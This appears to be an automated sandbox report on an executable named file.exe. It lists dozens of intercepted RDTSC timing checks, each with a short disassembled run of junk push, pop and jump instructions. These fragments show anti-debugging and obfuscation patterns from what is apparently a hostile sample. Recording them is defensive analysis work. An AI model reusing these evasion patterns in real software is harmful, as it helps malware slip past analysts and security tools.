Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4643 second address: FA4681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD7251DA7D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD7251DA7E9h 0x00000012 jmp 00007FD7251DA7E8h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4C1F second address: FA4C23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4EEE second address: FA4EF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4EF4 second address: FA4EF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4EF8 second address: FA4F0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7251DA7E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4F0C second address: FA4F27 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FD724C6C5E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA577A second address: FA5793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FD7251DA7E0h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA5793 second address: FA5799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA5799 second address: FA57B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD7251DA7E3h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA57B3 second address: FA57B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA57B7 second address: FA57BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE026 second address: FAE02A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE02A second address: FAE03F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007FD7251DA7D6h 0x0000000d je 00007FD7251DA7D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE03F second address: FAE044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE044 second address: FAE04B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE04B second address: FAE053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3898 second address: FB38C0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FD7251DA7D6h 0x00000011 jmp 00007FD7251DA7E7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB38C0 second address: FB38E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DAh 0x00000007 jmp 00007FD724C6C5E1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB38E2 second address: FB38EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD7251DA7D6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3FD8 second address: FB3FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FD724C6C5E8h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4298 second address: FB42A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB42A2 second address: FB42BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 popad 0x00000008 pushad 0x00000009 pushad 0x0000000a jnp 00007FD724C6C5D6h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push edx 0x00000013 pop edx 0x00000014 popad 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB42BA second address: FB42CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007FD7251DA7D6h 0x0000000d jng 00007FD7251DA7D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB42CD second address: FB42D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4E06 second address: FB4E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4E0E second address: FB4E32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD724C6C5E5h 0x0000000a popad 0x0000000b push esi 0x0000000c jnp 00007FD724C6C5DEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBDEF1 second address: FBDEFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD7251DA7D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9480 second address: FC9484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9484 second address: FC9494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7251DA7DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9494 second address: FC94A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007FD724C6C5F2h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9623 second address: FC9627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD04DC second address: FD04E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FD724C6C5D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD04E6 second address: FD04F0 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD7251DA7DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDD8A3 second address: FDD8B2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD724C6C5DAh 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDD75A second address: FDD762 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDD762 second address: FDD766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDD766 second address: FDD786 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FD7251DA7E5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE344A second address: FE3459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3459 second address: FE3466 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3466 second address: FE346A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE346A second address: FE347C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD7251DA7DCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE35BC second address: FE35C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE35C4 second address: FE35CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE35CD second address: FE35DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD724C6C5DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3856 second address: FE385C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE385C second address: FE3869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3869 second address: FE386D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE386D second address: FE3871 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3871 second address: FE3877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3A27 second address: FE3A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3A2B second address: FE3A2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3A2F second address: FE3A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3E46 second address: FE3E4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE846B second address: FE8473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE8473 second address: FE8479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4ED1 second address: FF4ED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4ED7 second address: FF4F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FD7251DA7E3h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007FD7251DA7DEh 0x00000015 jnl 00007FD7251DA7EAh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4D76 second address: FF4D8C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e jc 00007FD724C6C5DCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC3F0 second address: FFC414 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD7251DA7DAh 0x0000000d jmp 00007FD7251DA7E2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC414 second address: FFC41F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC41F second address: FFC427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC427 second address: FFC453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD724C6C5DDh 0x0000000a jg 00007FD724C6C5DCh 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007FD724C6C5D6h 0x00000018 jo 00007FD724C6C5D6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF871F second address: FF874A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7251DA7E9h 0x00000007 jmp 00007FD7251DA7DEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF874A second address: FF876A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD724C6C5E0h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1008EE1 second address: 1008EEB instructions: 0x00000000 rdtsc 0x00000002 js 00007FD7251DA7DEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100AB17 second address: 100AB1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023B3D second address: 1023B58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7251DA7E2h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023B58 second address: 1023B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023B5D second address: 1023B62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023B62 second address: 1023B68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023B68 second address: 1023B85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7251DA7DAh 0x00000009 jns 00007FD7251DA7D6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007FD7251DA7D6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023B85 second address: 1023B9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023E49 second address: 1023E4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023E4D second address: 1023E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FD724C6C5E7h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023E6C second address: 1023E73 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023FB0 second address: 1023FB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10246B6 second address: 10246BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10246BD second address: 10246C7 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD724C6C5E2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10246C7 second address: 10246CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10249AE second address: 10249B6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10249B6 second address: 10249BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10276CD second address: 10276DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102787A second address: 1027880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1027BC3 second address: 1027C3A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnc 00007FD724C6C5D6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007FD724C6C5D8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 or dx, F8DCh 0x0000002e push dword ptr [ebp+122D1E89h] 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007FD724C6C5D8h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e mov dword ptr [ebp+12485B07h], ebx 0x00000054 push D8FF36C2h 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007FD724C6C5DDh 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1027C3A second address: 1027C3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1027C3E second address: 1027C48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102AB0E second address: 102AB37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 jmp 00007FD7251DA7E9h 0x0000000c jo 00007FD7251DA7D6h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102A664 second address: 102A66E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FD724C6C5D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552002C second address: 5520058 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7251DA7E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD7251DA7DCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520058 second address: 5520084 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FD724C6C5E6h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500D1A second address: 5500D32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7251DA7E3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500D32 second address: 5500E00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD724C6C5DFh 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007FD724C6C5E9h 0x0000000f or si, ABB6h 0x00000014 jmp 00007FD724C6C5E1h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov dword ptr [esp], ebp 0x00000020 pushad 0x00000021 mov edi, eax 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FD724C6C5E6h 0x0000002a adc ax, FE08h 0x0000002f jmp 00007FD724C6C5DBh 0x00000034 popfd 0x00000035 pushfd 0x00000036 jmp 00007FD724C6C5E8h 0x0000003b or esi, 039D2068h 0x00000041 jmp 00007FD724C6C5DBh 0x00000046 popfd 0x00000047 popad 0x00000048 popad 0x00000049 mov ebp, esp 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e call 00007FD724C6C5DBh 0x00000053 pop esi 0x00000054 jmp 00007FD724C6C5E9h 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500E00 second address: 5500E15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 mov ax, B72Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500E15 second address: 5500E1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00B7 second address: 54E00BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00BB second address: 54E00BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00BF second address: 54E00C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
